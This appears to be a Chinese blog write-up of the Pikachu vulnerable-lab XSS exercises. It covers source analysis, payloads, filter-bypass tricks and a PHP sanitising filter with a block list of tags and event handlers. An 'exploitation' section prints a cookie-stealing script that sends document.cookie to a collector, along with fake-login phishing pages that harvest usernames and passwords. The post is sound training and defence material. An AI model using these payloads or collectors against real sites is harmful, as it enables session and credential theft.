pikachu-xss源码分析及修复

xss源码分析

反射型主要在查询的地方,存储型主要在留言、评论的地方,dom型是特殊的反射型。pikachu的xss没有做很多过滤,重点展示的是原理,在实际情况中肯定会有很多过滤和转义的。要多积累一些。

1.反射型xss(get)

测试随便输入,发现会把用户输入的输出到下面的who is后面,测试一下<script>alert(‘xss’)</srcipt>,弹出xss。(记得把maxlength属性改大一点)
在这里插入图片描述

在这里插入图片描述
代码分析:
$html变量直接拼接了{$_GET[‘message’]},后面代码又直接echo,没做任何过滤,转义。echo出的代码变成了

<p>who is 
  <script>alert('xss')</script>
  ,i don't care!
</p>

在这里插入图片描述
在这里插入图片描述

2.反射型xss(post)

和1一样,只不过1是get提交,2是post提交,代码都是一样的。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3.存储型xss

测试一下,随便输入,发现会输出在留言列表里,刷新页面也一直在,输入<script>alert(document.cookie)</script>测试,alert出了cookie。每次点击这个页面都会alert出cookie,说明是存储型的,已经存在数据库了。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
代码分析:
原因仍然是对输入的内容没有做任何过滤和转义,直接往数据库里插入了用户输入的内容,输出的时候也没有任何过滤和转义,直接取数据echo出来。
在这里插入图片描述
在这里插入图片描述

4.dom型xss

输入111测试,点击what do you see,跳转到111,猜测可能是<a>标签的href属性,审查元素看一下,发现我们输入的str被调整在id为dom的元素里,且<a href=’"+str+"’>what do you see?</a>,于是想到可以闭合a标签,并且执行我们输入的恶意代码。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
跟进domxss()
在这里插入图片描述
输入'><img src=1 onerror=alert(document.cookie)>
也可' onclick="alert('xss')">

在这里插入图片描述
代码分析已经在上面很清楚了,没对用户的输入做任何处理。

5.dom型xss-x

在这里插入图片描述
输入111
在这里插入图片描述
点击出现的 “有些费尽心机想要忘记的事情,后来真的就忘掉了”
出现“就让往事都随风,都随风吧”,继续点这个
在这里插入图片描述
在这里插入图片描述
跟4的情况一样。审查源码看看
在这里插入图片描述
在这里插入图片描述注:
1.window.location.search:返回url中?后面的内容。详见这里
2.split():把一个字符串分割成字符串数组。详见这里
3.decodeURIComponent():对 encodeURIComponent() 函数编码的 URI 进行解码.因为str是从url中问号后面截取下来的,经过了url编码的。详见这里
4.replace():在字符串中用一些字符替换另一些字符,或替换一个与正则表达式匹配的子串。这里是把+替换成空格。详见这里

可以看到str还是直接拼接在a标签里。
测试'><img src=1 onerror=alert(1)>,跟上面4是一样的。

在这里插入图片描述
原因:没对用户的输入做任何处理,直接拼接。

6.xss之盲打

随便输入测试一下,提交,什么都没返回,就提示用户输入的对方已经收到,猜测应该是存到数据库了,管理员登陆后台可以看到。刚好点击作者给的提示,给出了后台登陆的地址。这里我们不知道有没有xss,就要试试的,看不到不代表不存在。
在这里插入图片描述
输入<script>alert(1)</script>,登陆后台看看,结果是存在xss的。

在这里插入图片描述
代码分析:
用户输入的直接存入了数据库,取出也是直接取出并echo出来,导致xss
在这里插入图片描述
在这里插入图片描述

7xss之过滤

输入<script>alert(1)<script>进行测试,看到几乎把标签和函数都过滤掉了,想办法绕过过滤,试试
<img src=1 οnerrοr=alert(1)>,弹出窗口。可能存在xss漏洞。
在这里插入图片描述
在这里插入图片描述
源码分析:
后台对用户输入的内容进行了正则匹配过滤,将<srcipt以及各个符号中间的任意元素都删掉了。但是没有过滤img标签,没有过滤危险函数。

在这里插入图片描述注:xss绕过姿势
1.前端限制直接改前端html代码,或者抓包重发
2.大小写过滤
3.双写绕过
4.用注释干扰
5.编码

8.xss之htmlspecialchars

用户输入的内容也是在href标签里,且后端应该是用了htmlspecialchars过滤,但是这个函数默认情况下是不会编码单引号的,因此可以试试' onclick='alert(1)',弹出了窗口,可能存在xss。
htmlspecialchars():http://www.w3school.com.cn/php/func_string_htmlspecialchars.asp
在这里插入图片描述
在这里插入图片描述

9.xss之href输出

经过测试发现> < " ' & 都被编码,且发现用户输入的在href标签里,故可用js,a标签href属性详解http://www.w3school.com.cn/tags/att_a_href.asp
构造javascript:alert(1)
在这里插入图片描述代码分析:

在这里插入图片描述
这里防御需要禁用js协议

10.xss之js输出

还是先测试,加上查看源码,可分析出js里面的$ms就是用户的输入,于是想到闭合<script>$ms=’ ‘,构造用户输入为:x’</script><script>alert(‘xss’)</script>
在这里插入图片描述

在这里插入图片描述
源码分析:
在这里插入图片描述
在这里插入图片描述
构造payloads之后,会闭合第一个script标签,同时写入新的js语句。
修复需要注意的问题:1.这里如果进行html的实体编码,虽然可以解决XSS的问题,但是实体编码后的内容,在JS里面不会进行翻译,这样会导致前端的功能无法使用。2.所以在JS的输出点应该使用\对特殊字符进行转义

xss实际利用

1.xss获取用户coockie

反射型xss:输入

<script>document.location='http://127.0.0.1/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>

登陆管理后台查看,已经获取了信息
在这里插入图片描述源码:cookie.php

<?php
include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();
if(isset($_GET['cookie'])){
    $time=date('Y-m-d g:i:s');  //time
    $ipaddress=getenv ('REMOTE_ADDR'); //ipaddress
    $cookie=$_GET['cookie'];  //cookie
    $referer=$_SERVER['HTTP_REFERER'];  //referer
    $useragent=$_SERVER['HTTP_USER_AGENT']; //useragent
    $query="insert cookies(time,ipaddress,cookie,referer,useragent) 
    values('$time','$ipaddress','$cookie','$referer','$useragent')";
    $result=mysqli_query($link, $query);
}
header("Location:http://127.0.0.1/pikachu/index.php");//重定向到一个可信的网站
?>

2.钓鱼

钓鱼页面往往可以做的很真实,这个只是个实验。
存储型xss,输入

<script src="http://127.0.0.1/pikachu/pkxss/xfish/fish.php"></script>

弹出窗口
在这里插入图片描述
一旦输入你的用户名和密码就被钓鱼了
在这里插入图片描述
在这里插入图片描述
源码:fish.php

<?php
error_reporting(0);
if ((!isset($_SERVER['PHP_AUTH_USER'])) || (!isset($_SERVER['PHP_AUTH_PW']))) {
//发送认证框,并给出迷惑性的info
    header('Content-type:text/html;charset=utf-8');
    header("WWW-Authenticate: Basic realm='认证'");
    header('HTTP/1.0 401 Unauthorized');
    echo 'Authorization Required.';
    exit;
}else if ((isset($_SERVER['PHP_AUTH_USER'])) && (isset($_SERVER['PHP_AUTH_PW']))){
//将结果发送给搜集信息的后台,请将这里的IP地址修改为管理后台的IP
    header("Location: http://127.0.0.1/pikachu/pkxss/xfish/xfish.php?username={$_SERVER[PHP_AUTH_USER]}&password={$_SERVER[PHP_AUTH_PW]}");
}
?>

注:PHP中Header函数和PHP_AUTH_USER做用户验证原理:https://blog.csdn.net/Jacksun_huang/article/details/88737297

xfish.php

<?php
error_reporting(0);
include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();
if(!empty($_GET['username']) && !empty($_GET['password'])){
    $username=$_GET['username'];
    $password=$_GET['password'];
    $referer="";
    $referer.=$_SERVER['HTTP_REFERER'];
    $time=date('Y-m-d g:i:s');
    $query="insert fish(time,username,password,referer) 
    values('$time','$username','$password','$referer')";
    $result=mysqli_query($link, $query);
}
?>

xss修复

1.过滤危险字符
2.编码转换
网上找的一个通防,在pikachu本地测试成功拦截xss:
PHP进行安全字段和防止XSS跨站脚本攻击过滤(通用版)

/* 进行安全字段和xss跨站脚本攻击过滤(通用版) -xzz  */
function escape_sec($string) {
    global $_POST;
    $search = array (
        '/</i',
        '/>/i',
        '/\">/i',
        '/\bunion\b/i',
        '/load_file(\s*(\/\*.*\*\/)?\s*)+\(/i',
        '/into(\s*(\/\*.*\*\/)?\s*)+outfile/i',
        '/\bor\b/i',
        '/\<([\/]?)script([^\>]*?)\>/si',
        '/\<([\/]?)iframe([^\>]*?)\>/si',
        '/\<([\/]?)frame([^\>]*?)\>/si'
    );
   $replace = array (
        '&lt;',
        '&gt;',
        '&quot;&gt;',
        'union&nbsp;',
        'load_file&nbsp; (',
        'into&nbsp; outfile',
        'or&nbsp;',
        '&lt;\\1script\\2&gt;',
        '&lt;\\1iframe\\2&gt;',
        '&lt;\\1frame\\2&gt;'
    );
 if (is_array ( $string )) {
        $key = array_keys ( $string );
        $size = sizeof ( $key );
        for($i = 0; $i < $size; $i ++) {
            $string [$key [$i]] = escape_sec ( $string [$key [$i]] );
        }
 } else {
        //if (! $_POST ['stats_code'] && ! $_POST ['ad_type_code_content']) {
            $string = str_replace ( array (
                '\n',
                '\r'
            ), array (
                chr ( 10 ),
                chr ( 13 )
            ), preg_replace ( $search, $replace, $string ) );//相当于对一些危险字符进行html实体转换
            $string = remove_xss ( $string );//调用remove_xss()方法
       // } else {
       //    $string = $string;
      //  }
    }
    return $string;
}

function remove_xss($val) {	
	$val = preg_replace ( '/([\x00-\x08\x0b-\x0c\x0e-\x19])/', '', $val );	
	$search = 'abcdefghijklmnopqrstuvwxyz';
	$search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
	$search .= '1234567890!@#$%^&*()';
	$search .= '~`";:?+/={}[]-_|\'\\';
	for($i = 0; $i < strlen ( $search ); $i ++) {
		$val = preg_replace ( '/(&#[xX]0{0,8}' . dechex ( ord ( $search [$i] ) ) . ';?)/i', $search [$i], $val );
		$val = preg_replace ( '/(&#0{0,8}' . ord ( $search [$i] ) . ';?)/', $search [$i], $val );
	}
	$ra1 = array (
        'javascript',
        'vbscript',
        'expression',
        'applet',
        'meta',
        'xml',
        'blink',
        'script',
        'object',
        'iframe',
        'frame',
        'frameset',
        'ilayer',
        'bgsound'
    );
	$ra2 = array (
        'onabort',
        'onactivate',
        'onafterprint',
        'onafterupdate',
        'onbeforeactivate',
        'onbeforecopy',
        'onbeforecut',
        'onbeforedeactivate',
        'onbeforeeditfocus',
        'onbeforepaste',
        'onbeforeprint',
        'onbeforeunload',
        'onbeforeupdate',
        'onblur',
        'onbounce',
        'oncellchange',
        'onchange',
        'onclick',
        'oncontextmenu',
        'oncontrolselect',
        'oncopy',
        'oncut',
        'ondataavailable',
        'ondatasetchanged',
        'ondatasetcomplete',
        'ondblclick',
        'ondeactivate',
        'ondrag',
        'ondragend',
        'ondragenter',
        'ondragleave',
        'ondragover',
        'ondragstart',
        'ondrop',
        'onerror',
        'onerrorupdate',
        'onfilterchange',
        'onfinish',
        'onfocus',
        'onfocusin',
        'onfocusout',
        'onhelp',
        'onkeydown',
        'onkeypress',
        'onkeyup',
        'onlayoutcomplete',
        'onload',
        'onlosecapture',
        'onmousedown',
        'onmouseenter',
        'onmouseleave',
        'onmousemove',
        'onmouseout',
        'onmouseover',
        'onmouseup',
        'onmousewheel',
        'onmove',
        'onmoveend',
        'onmovestart',
        'onpaste',
        'onpropertychange',
        'onreadystatechange',
        'onreset',
        'onresize',
        'onresizeend',
        'onresizestart',
        'onrowenter',
        'onrowexit',
        'onrowsdelete',
        'onrowsinserted',
        'onscroll',
        'onselect',
        'onselectionchange',
        'onselectstart',
        'onstart',
        'onstop',
        'onsubmit',
        'onunload'
    );
	$ra = array_merge ( $ra1, $ra2 );
	$found = true;
	while ( $found == true ) {
		$val_before = $val;
		for($i = 0; $i < sizeof ( $ra ); $i ++) {
			$pattern = '/';
			for($j = 0; $j < strlen ( $ra [$i] ); $j ++) {
				if ($j > 0) {
					$pattern .= '(';
					$pattern .= '(&#[xX]0{0,8}([9ab]);)';
					$pattern .= '|';
					$pattern .= '|(&#0{0,8}([9|10|13]);)';
					$pattern .= ')*';
				}
				$pattern .= $ra [$i] [$j];
			}
			$pattern .= '/i';
			$replacement = substr ( $ra [$i], 0, 2 ) . ' ' . substr ( $ra [$i], 2 );      
			$val = preg_replace ( $pattern, $replacement, $val );
			if ($val_before == $val) {
 				 $found = false;
  			}
  	}
  }
  return $val;
}

注:从xss攻击的目的来看:
1.cookie盗取。 解决办法:HTTP-only
2.劫持流量转发。 解决办法:使用HTTPS安全协议验证
在设置httponly的时候用ini_set("session.cookie_httponly", 1);函数没用,直接去php.ini配置文件改session.cookie_httponly也不行,但是在setcookie函数里面设置第七个参数值为true就可以防止js脚本获取cookie了。

发布了27 篇原创文章 · 获赞 8 · 访问量 8258

猜你喜欢

转载自blog.csdn.net/weixin_41652128/article/details/95669624